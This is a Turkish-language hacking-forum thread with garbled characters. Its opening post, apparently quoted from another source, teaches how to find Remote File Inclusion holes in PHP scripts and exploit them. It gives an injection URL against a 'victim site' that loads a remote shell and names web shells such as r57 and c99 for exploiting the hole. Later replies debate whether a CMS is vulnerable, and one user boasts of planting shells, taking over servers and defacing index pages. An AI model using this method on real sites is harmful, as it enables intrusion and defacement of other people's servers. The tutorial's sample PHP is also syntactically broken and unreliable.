--------------------------------------------------------------------------------
RFI a??l?m? olarak Remote File Inclusion'dur yani t?rk?e kar??l??? olarak Uzaktan Dosya Enjekte etmektir ama biz buna hacking aleminde daha ?ok Uzaktan Kod ?a??rma diyoruz..
Mant???na gelince de;
PHP Coderlar?n sayfalar? kodlarken kulland?klar? string (yumak) ve variable (de?i?ken) lerin tam olarak kontrol edilmemesinden dolay? her zaman war olan ve war olmaya devam edecek olan bir g?venlik a????d?r. Neden b?yle s?yleyebiliyorum? ??nk? 2-3 g?n boyunca bir an bile durmaks?z?n kodlama yapan bir coder elinde sonunda bir yerde gerek yorgunluktan gerekse dikkatsizlikten dolay? kodlarda a??k werecektir. Neyse laf? fazla doland?rmadan ?rnek vereyim..
Hepimizin bildi?i ve bu sitede de kullan?lan vBulletin script'ini ele alal?m. ( art? parantez vBulletin'in pop?ler versiyonlar? olan 3.6.x serisinde bugune kadar rfi a???? bulundu?unu duymad?m bilmiyorum. Sadece ?rnek olsun diye bu scripti ele ald?m. )
Nas? bulunur? Kullan?m? nas? olur?
A??k tespit etmek i?in ?ncelikle PHP den orta seviye de anlamam?z gerekiyor. ?imdi ad?m ad?m a??k bulmay? anlatay?m..
?ncelikle a??k bulmak istedi?iniz scriptin kaynak kodlar?n? bilgisayar?n?za download ediyorsunuz. Bu ?rnekte biz vBulletin scriptini indiriyoruz. ve ara?t?rmaya ba?l?yoruz. Mesela " index.php " dosyas?n? ara?t?rmak istiyoruz..
O zaman index.php dosyas?n? bir text edit?r? yard?m? ile a??yoruz ?rn?in Not Defteri.. ve hemen kodlar? incelemeye ba?l?yoruz..
Ara?t?rma kriterlerimiz;
include
include_once
require
require_once
fonksiyonlar?d?r. Hatta bir iyilik daha yapay?m ve bu fonksiyonlar?n PHP ne i?e yarad???n? anlatay?m.. Daha etkili olur..
?imdi bildi?iniz ?zere web-sitelerinde dola?t???n?z her sayfa tek tek s?f?rdan yap?l?r.. ?zellikle HTML site kodland??? zaman her sayfa i?in ayn? kodlar? tekrar tekrar girmek zorunda kal?rs?n?z ama PHP bu y?n?yle ve di?er y?nleriylede HTML den olduk?a ?st?nd?r ve include ve require fonksiyonlar? sayesinde sabit bir sayfay? farkl? ama?larda kullanabiliriz. yani anlatmak istedi?im ?ey mesela bir in?aat ?irketinin sitesini PHP olarak kodluyosunuz ve header dedi?imiz yukar?da yani banner ve ?evresini kapsayan k?s?m anasayfadan tutunda kontak sayfas?na kadar heryerde ayn? de?i?en tek ?ey sadece ortada bulunan yaz?lar?n bulundugu yer.. ?imdi anasayfa ve kontak sayfas? i?in tek tek kodlama yapmaktansa ust.php diye bir kere kodlar?z ve anasayfa.php ye a?a??daki kodu ekleriz;
<?
include_once ($orchid, "ust.php")
?>
daha sonra ayasayfa.php dosyas?n? ?al??t?rd???m?z zaman ust.php nin anasayfa ile b?t?nle?erek ??kt???n? g?r?rs?n?z ve bu kodu her sayfan?z i?in yazarsan?z otomatikmen kolay bi ?ekilde ust.php dosyas?n? istedi?iniz yere ENJEKTE edebilirsiniz.. " Dikkat : ENJEKTE " ?imdi include ve require fonksiyonlar?n?n mant???n? anlad???n?z? varsa***** kald???m?z yere geri d?nelim..
index.php dosyas?n? a?t?n?z ve include, include_once, vb. gibi bir kod g?rd?n?z..
Az ?nceki ?rne?e devam edelim;
<?
include_once ($orchid, "ust.php")
?>
Yukar?da g?rd???n?z PHP kodu bulundugu sayfaya ayn? dizinde bulundugu ust.php dosyas?n? ?a??rmaktad?r. (Dikkat : ?A?IRMAKTADIR ) ?imdi biz ne yapabiliriz bu koda? Hemen d???n?r?zki acaba coder " DOSYA ?A?IRMA " i?levini s?n?rland?rm??m?d?r yani sadece bulundu?u dizinden mi dosya kabul ediyor?? Hemen bi deneme yapar?z.;
index.php dosyas?ndayd?k ve " orchid " parametresini kullanarak ust.php dosyas?n? ?a??ran yukar?da ki kodda a??k ar?yoduk, deneme - yan?lma yapal?m..
kurbansite.com/index.php?orchid=http://SHELL?
Ve girdik.. ?imdi az ?nce UST.PHP nin bulundugu yerde bizim shellimiz war.. B?ylece ilk ad?m? att?k ve a????m?z? bulduk bundan sonra art?k r57, c99, fatalshell, ekin0xshell ne kullan?rsan?z kullan?p buldu?unuz a???? s?m?r?n (exploit = S?m?rmek)
al?nt?...
kaan gelsin bi baks?n yaa
HP Coderlar?n sayfalar? kodlarken kulland?klar? string (yumak) ve variable (de?i?ken) lerin tam olarak kontrol edilmemesinden dolay? her zaman war olan ve war olmaya devam edecek olan bir g?venlik a????d?r. Neden b?yle s?yleyebiliyorum? ??nk? 2-3 g?n boyunca bir an bile durmaks?z?n kodlama yapan bir coder elinde sonunda bir yerde gerek yorgunluktan gerekse dikkatsizlikten dolay? kodlarda a??k werecektir.
Bende bu konuyu incelerken fark ettim ki yeni haz?rlad?g?m sistemde ?ok b?y?k bir a??k b?rakm???m son anda fark ettim ve gerekli uygulamay? yapt?m yoksa hepimiz yanm??t?k fark etselerdi
ancak sonradan eklenen bir pluginde varsa vard?r ;)Alıntı
#4615 rootinq :
rfi olmasi imkansiz seditio da
Niye imkans?z olsun ki ? Daha ?nce bir ?ok rfi a???? ile ruslar ter?r estirdi
Kaan Hakl?, Her?ey Kontrols?zl?kten meydana geliyor, Bunun i?in ya kurdu?un sistemi test edeceksin, yada Allah'a emanet edip b?rakacaks?n :P )) t?m include dosyalarini bizzat inceledim. rfi olmasi imkansiz ;) ama onun disindaki bug'lara birsey diyemecegim. ayrica oliver bu konuda cok deneyimli biri. Ayrica senin bahsettin ruslarin search acigiydi yada sifreyi 123456 olarak degistirebildikleri acikti.Extra eklenen kodlardan veya ba?ka bir eklentiden kaynaklanabilir.
Ba?ka sitelerden indirdi?iniz eklentileri vb.?zellikleri sisteminize entegre etmeyiniz.
Bu site sizin i?in var ve sizin isteklerinize g?re gerekli eklentileri ve modifiyeleri veriyoruz zaten bu siteden indirdi?iniz eklentide veya kodlarda a??k bulunursa derhal bildiriniz.
Her zaman s?ylemi?imdir ve s?yleme devam ediyorum.
En b?y?k a??k site sahibidir.
Yapt?g? hatalardan dolay? siteleri bu t?r sald?r?lara maruz kalmaktad?r.
. ama tum degiskenleri ve eklentileri editlenmis. size tavsiyem bodozlama bi scripti kurmayin madem bu islerle ugrasiyorsunuz biraz terletin kendinizide kendine gore duzenleyn scrptiAlıntı
#4645 rootinq :
ben 121 kulaniyorum
Scripti de?i?tirmen senin zarar?na gerekli g?ncellemeleri yapmakda zorluk ?ekersin.
Seditioda a??k yok ?uan i?in belki vard?r bizim bilmedi?imiz ama uzun zamand?r ?nemli bir a???a rastlanmad?.
Madem o i?lerle u?ras?yorsunuz indirin test edin Scripti i?de burada a??k var diye bag?rman?n bir anlam? yok Scripti defalarca test edin bir a??k bulursan?z s?yleyin herkes bilsin.
ilgin? reco ben ?ahsen bi sisteme shell soktugumda eger yazma izinleri yoksa (ki her t?rl? server? ge?erim **** ) Server? Ge?meye ?al???r?m Ve Ge?er ?ndex.php ye indexsi ****
yani shell sokupta aman ?unun config.php sini al?y?mda sitede admin ?yeligine girimde meta atay?m demem.